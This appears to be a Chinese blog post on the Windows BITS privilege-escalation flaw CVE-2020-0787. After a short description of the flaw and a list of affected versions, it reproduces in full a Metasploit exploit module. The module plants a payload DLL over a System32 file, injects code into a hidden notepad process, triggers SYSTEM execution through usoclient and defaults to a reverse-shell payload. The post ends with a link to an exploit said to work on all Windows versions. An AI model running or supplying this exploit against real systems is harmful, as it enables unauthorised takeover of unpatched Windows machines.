Windows全版本本地提权(CVE-2020-0787)

  • 内容
  • 相关

漏洞概述

2020年3月10日,微软官方公布了一个本地提权漏洞CVE-2020-0787,根据微软的漏洞描述声称,攻击者在使用低权限用户登录系统后,可以利用该漏洞构造恶意程序直接提权到administrator或者system权限。system是windows所有操作系统中权限最大的账户。

漏洞详情

Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品。Microsoft Windows是一套个人设备使用的操作系统。Microsoft Windows Server是一套服务器操作系统。Background Intelligent Transfer Service(BITS)是其中的一个后台智能传输服务组件。 Microsoft Windows Background Intelligent Transfer Service中存在提权漏洞,该漏洞源于该服务无法正确处理符号链接。攻击者可通过执行特制的应用程序利用该漏洞覆盖目标文件,提升权限。

以下产品及版本受到影响:Microsoft Windows 7 SP1,Windows 8.1,Windows RT 8.1,Windows 10,Windows Server 2008 SP2,Windows Server 2008 R2 SP1,Windows Server 2012,Windows Server 2012 R2,Windows Server 2016,Windows Server 2019,Windows 10版本1607,Windows 10版本1709,Windows 10版本1803,Windows 10版本1809,Windows 10版本1903,Windows 10版本1909,Windows Server版本1803,Windows Server版本1903,Windows Server版本1909。

漏洞利用

漏洞EXP

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Windows::Priv
  include Msf::Exploit::EXE # Needed for generate_payload_dll
  include Msf::Post::Windows::FileSystem
  include Msf::Post::Windows::ReflectiveDLLInjection
  include Msf::Exploit::FileDropper
  include Msf::Post::File
  include Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Background Intelligent Transfer Service Arbitrary File Move Privilege Elevation Vulnerability',
        'Description' => %q{
          This module exploits CVE-2020-0787, an arbitrary file move vulnerability in outdated versions of the
          Background Intelligent Transfer Service (BITS), to overwrite C:\Windows\System32\WindowsCoreDeviceInfo.dll
          with a malicious DLL containing the attacker's payload.

          To achieve code execution as the SYSTEM user, the Update Session Orchestrator service is then started, which
          will result in the malicious WindowsCoreDeviceInfo.dll being run with SYSTEM privileges due to a DLL hijacking
          issue within the Update Session Orchestrator Service.

          Note that presently this module only works on Windows 10 and Windows Server 2016 and later as the
          Update Session Orchestrator Service was only introduced in Windows 10. Note that only Windows 10 has been tested,
          so your mileage may vary on Windows Server 2016 and later.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'itm4n', # PoC
            'gwillcox-r7' # msf module
          ],
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'Privileged' => true,
        'Arch' => [ARCH_X86, ARCH_X64],
        'Targets' =>
          [
            [ 'Windows DLL Dropper', { 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :windows_dropper } ],
          ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2020-03-10',
        'References' =>
          [
            ['CVE', '2020-0787'],
            ['URL', 'https://itm4n.github.io/cve-2020-0787-windows-bits-eop/'],
            ['URL', 'https://github.com/itm4n/BitsArbitraryFileMove'],
            ['URL', 'https://attackerkb.com/assessments/e61cfec0-d766-4e7e-89f7-5aad2460afb8'],
            ['URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html'],
            ['URL', 'https://itm4n.github.io/usodllloader-part1/'],
            ['URL', 'https://itm4n.github.io/usodllloader-part2/'],
          ],
        'Notes' =>
          {
            'SideEffects' => [ ARTIFACTS_ON_DISK ],
            'Reliability' => [ REPEATABLE_SESSION ],
            'Stability' => [ CRASH_SAFE ]
          },
        'DefaultOptions' =>
          {
            'EXITFUNC' => 'thread',
            'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
            'WfsDelay' => 900
          }
      )
    )

    register_options([
      OptBool.new('OVERWRITE_DLL', [true, 'Overwrite WindowsCoreDeviceInfo.dll if it exists (false by default).', false]),
      OptInt.new('JOB_WAIT_TIME', [true, 'Time to wait for the BITS job to complete before starting the USO service to execute the uploaded payload, in seconds', 20])
    ])
  end

  def target_not_presently_supported
    print_warning('This target is not presently supported by this exploit. Support may be added in the future!')
    print_warning('Attempts to exploit this target with this module WILL NOT WORK!')
  end

  def check
    sysinfo_value = sysinfo['OS']

    if sysinfo_value !~ /windows/i
      # Non-Windows systems are definitely not affected.
      return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')
    end

    # XXX Using session.shell_command_token over cmd_exec() here as @wvu-r7 noticed cmd_exec() was broken under some situations.
    build_num_raw = session.shell_command_token('cmd.exe /c ver')
    build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)
    if build_num.nil?
      print_error("Couldn't retrieve the target's build number!")
    else
      build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)[0]
      print_status("Target's build number: #{build_num}")
    end

    # see https://docs.microsoft.com/en-us/windows/release-information/
    unless sysinfo_value =~ /(7|8|8\.1|10|2008|2012|2016|2019|1803|1903)/
      return CheckCode::Safe('Target is not running a vulnerable version of Windows!')
    end

    build_num_gemversion = Gem::Version.new(build_num)

    # Build numbers taken from https://www.qualys.com/research/security-alerts/2020-03-10/microsoft/
    if (build_num_gemversion >= Gem::Version.new('10.0.18363.0')) && (build_num_gemversion < Gem::Version.new('10.0.18363.719')) # Windows 10 v1909
      return CheckCode::Appears('Vulnerable Windows 10 v1909 build detected!')
    elsif (build_num_gemversion >= Gem::Version.new('10.0.18362.0')) && (build_num_gemversion < Gem::Version.new('10.0.18362.719')) # Windows 10 v1903
      return CheckCode::Appears('Vulnerable Windows 10 v1903 build detected!')
    elsif (build_num_gemversion >= Gem::Version.new('10.0.17763.0')) && (build_num_gemversion < Gem::Version.new('10.0.17763.1098')) # Windows 10 v1809
      return CheckCode::Appears('Vulnerable Windows 10 v1809 build detected!')
    elsif (build_num_gemversion >= Gem::Version.new('10.0.17134.0')) && (build_num_gemversion < Gem::Version.new('10.0.17134.1365')) # Windows 10 v1803
      return CheckCode::Appears('Vulnerable Windows 10 v1803 build detected!')
    elsif (build_num_gemversion >= Gem::Version.new('10.0.16299.0')) && (build_num_gemversion < Gem::Version.new('10.0.16299.1747')) # Windows 10 v1709
      return CheckCode::Appears('Vulnerable Windows 10 v1709 build detected!')
    elsif (build_num_gemversion >= Gem::Version.new('10.0.15063.0')) && (build_num_gemversion < Gem::Version.new('10.0.15063.2313')) # Windows 10 v1703
      return CheckCode::Appears('Vulnerable Windows 10 v1703 build detected!')
    elsif (build_num_gemversion >= Gem::Version.new('10.0.14393.0')) && (build_num_gemversion < Gem::Version.new('10.0.14393.3564')) # Windows 10 v1607
      return CheckCode::Appears('Vulnerable Windows 10 v1607 build detected!')
    elsif (build_num_gemversion >= Gem::Version.new('10.0.10586.0')) && (build_num_gemversion < Gem::Version.new('10.0.10586.9999999')) # Windows 10 v1511
      return CheckCode::Appears('Vulnerable Windows 10 v1511 build detected!')
    elsif (build_num_gemversion >= Gem::Version.new('10.0.10240.0')) && (build_num_gemversion < Gem::Version.new('10.0.10240.18519')) # Windows 10 v1507
      return CheckCode::Appears('Vulnerable Windows 10 v1507 build detected!')
    elsif (build_num_gemversion >= Gem::Version.new('6.3.9600.0')) && (build_num_gemversion < Gem::Version.new('6.3.9600.19665')) # Windows 8.1/Windows Server 2012 R2
      target_not_presently_supported
      return CheckCode::Appears('Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!')
    elsif (build_num_gemversion >= Gem::Version.new('6.2.9200.0')) && (build_num_gemversion < Gem::Version.new('6.2.9200.23009')) # Windows 8/Windows Server 2012
      target_not_presently_supported
      return CheckCode::AppearsAppears('Vulnerable Windows 8/Windows Server 2012 build detected!')
    elsif (build_num_gemversion >= Gem::Version.new('6.1.7600.0')) && (build_num_gemversion < Gem::Version.new('6.1.7601.24549')) # Windows 7/Windows Server 2008 R2
      target_not_presently_supported
      return CheckCode::Appears('Vulnerable Windows 7/Windows Server 2008 R2 build detected!')
    elsif (build_num_gemversion >= Gem::Version.new('6.0.6001.0')) && (build_num_gemversion < Gem::Version.new('6.0.6003.20749')) # Windows Server 2008/Windows Server 2008 SP2
      target_not_presently_supported
      return CheckCode::Appears('Windows Server 2008/Windows Server 2008 SP2 build detected!')
    else
      return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')
    end
  end

  def check_target_is_running_supported_windows_version
    if sysinfo['OS'].match('Windows').nil?
      fail_with(Failure::NotVulnerable, 'Target is not running Windows!')
    elsif sysinfo['OS'].match('Windows 10').nil? && sysinfo['OS'].match('Windows Server 2016').nil? && sysinfo['OS'].match('Windows Server 2019').nil?
      fail_with(Failure::BadConfig, 'Target is running Windows, its not a version this module supports! Bailing...')
    end
  end

  def check_target_and_payload_match_and_supported(client_arch)
    if (client_arch != ARCH_X64) && (client_arch != ARCH_X86)
      fail_with(Failure::BadConfig, 'This exploit currently only supports x86 and x64 targets!')
    end
    payload_arch = payload.arch.first # TODO: Add missing documentation for payload.arch, @wvu used this first but it is not documented anywhere.
    if (payload_arch != ARCH_X64) && (payload_arch != ARCH_X86)
      fail_with(Failure::BadConfig, "Unsupported payload architecture (#{payload_arch})") # Unsupported architecture, so return an error.
    end
    if ((client_arch == ARCH_X64) && (payload_arch != ARCH_X64)) || ((client_arch == ARCH_X86) && (payload_arch != ARCH_X86))
      fail_with(Failure::BadConfig, "Payload architecture (#{payload_arch}) doesn't match the architecture of the target (#{client_arch})!")
    end
  end

  def check_windowscoredeviceinfo_dll_exists_on_target
    # Taken from bwatters-r7's cve-2020-0688_service_tracing.rb code.
    #
    # We are going to overwrite the WindowsCoreDeviceInfo.dll DLL as part of our exploit.
    # The second part of this exploit will trigger a Update Session to be created so that this DLL
    # is loaded, which will result in arbitrary code execution as SYSTEM.
    #
    # To prevent any errors, we will first check that this file doesn't exist and ask the user if they are sure
    # that they want to overwrite the file.
    win_dir = session.sys.config.getenv('windir')
    normal_target_payload_pathname = "#{win_dir}\\System32\\WindowsCoreDeviceInfo.dll"
    wow64_target_payload_pathname = "#{win_dir}\\Sysnative\\WindowsCoreDeviceInfo.dll"
    wow64_existing_file = "#{win_dir}\\Sysnative\\win32k.sys"
    if file?(wow64_existing_file)
      if file?(wow64_target_payload_pathname)
        print_warning("#{wow64_target_payload_pathname} already exists")
        print_warning('If it is in use, the overwrite will fail')
        unless datastore['OVERWRITE_DLL']
          print_error('Change OVERWRITE_DLL option to true if you would like to proceed.')
          fail_with(Failure::BadConfig, "#{wow64_target_payload_pathname} already exists and OVERWRITE_DLL option is false")
        end
      end
      target_payload_pathname = wow64_target_payload_pathname
    elsif file?(normal_target_payload_pathname)
      print_warning("#{normal_target_payload_pathname} already exists")
      print_warning('If it is in use, the overwrite will fail')
      unless datastore['OVERWRITE_DLL']
        print_error('Change OVERWRITE_DLL option to true if you would like to proceed.')
        fail_with(Failure::BadConfig, "#{normal_target_payload_pathname} already exists and OVERWRITE_DLL option is false")
      end
      target_payload_pathname = normal_target_payload_pathname
    end
    target_payload_pathname
  end

  def launch_background_injectable_notepad
    print_status('Launching notepad to host the exploit...')
    notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true)
    process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
    print_good("Process #{process.pid} launched.")
    process
  rescue Rex::Post::Meterpreter::RequestError
    # Sandboxes could not allow to create a new process
    # stdapi_sys_process_execute: Operation failed: Access is denied.
    print_error('Operation failed. Trying to elevate the current process...')
    process = client.sys.process.open
    process
  end

  def exploit
    # NOTE: Automatic check is implemented by the AutoCheck mixin
    super

    # Step 1: Check target environment is correct.
    print_status('Step #1: Checking target environment...')
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end
    client_arch = sysinfo['Architecture']
    check_target_is_running_supported_windows_version
    check_target_and_payload_match_and_supported(client_arch)
    check_windowscoredeviceinfo_dll_exists_on_target

    # Step 2: Generate the malicious DLL and upload it to a temp location.
    print_status('Step #2: Generating the malicious DLL...')
    path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-0787')
    datastore['EXE::Path'] = path
    if client_arch =~ /x86/i
      datastore['EXE::Template'] = ::File.join(path, 'template_x86_windows.dll')
      library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-0787', 'CVE-2020-0787.x86.dll')
      library_path = ::File.expand_path(library_path)
    elsif client_arch =~ /x64/i
      datastore['EXE::Template'] = ::File.join(path, 'template_x64_windows.dll')
      library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-0787', 'CVE-2020-0787.x64.dll')
      library_path = ::File.expand_path(library_path)
    end

    payload_dll = generate_payload_dll
    print_status("Payload DLL is #{payload_dll.length} bytes long")
    temp_directory = session.sys.config.getenv('%TEMP%')
    malicious_dll_location = "#{temp_directory}\\" + Rex::Text.rand_text_alpha(6..13) + '.dll'
    write_file(malicious_dll_location, payload_dll)
    register_file_for_cleanup(malicious_dll_location)

    # Step 3: Load the main DLL that will trigger the exploit and conduct the arbitrary file copy.
    print_status('Step #3: Loading the exploit DLL to run the main exploit...')
    process = launch_background_injectable_notepad

    print_status("Injecting DLL into #{process.pid}...")
    exploit_mem, offset = inject_dll_into_process(process, library_path)

    dll_info_parameter = malicious_dll_location.to_s
    payload_mem = inject_into_process(process, dll_info_parameter)

    # invoke the exploit, passing in the address of the payload that
    # we want invoked on successful exploitation.
    print_status('DLL injected. Executing injected DLL...')
    process.thread.create(exploit_mem + offset, payload_mem)

    print_status("Sleeping for #{datastore['JOB_WAIT_TIME']} seconds to allow the exploit to run...")
    sleep datastore['JOB_WAIT_TIME']

    register_file_for_cleanup('C:\\Windows\\System32\\WindowsCoreDeviceInfo.dll') # Register this file for cleanup so that if we fail, then the file is cleaned up.
    # Normally we can't delete this file though as there will be a SYSTEM service that has a handle to this file.

    print_status("Starting the interactive scan job...")
    # Step 4: Execute `usoclient StartInteractiveScan` to trigger the payload
    # XXX Using session.shell_command_token over cmd_exec() here as @wvu-r7 noticed cmd_exec() was broken under some situations.
    session.shell_command_token('usoclient StartInteractiveScan')

    print_status("Enjoy the shell!")
  end
end


GitHub:https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION/releases/tag/1

本文标签:

版权声明:若无特殊注明,本文皆为《舜哥哥吖》原创,转载请保留文章出处。

本文链接:Windows全版本本地提权(CVE-2020-0787) - https://www.shungg.cn/post/316

发表评论

电子邮件地址不会被公开。 必填项已用*标注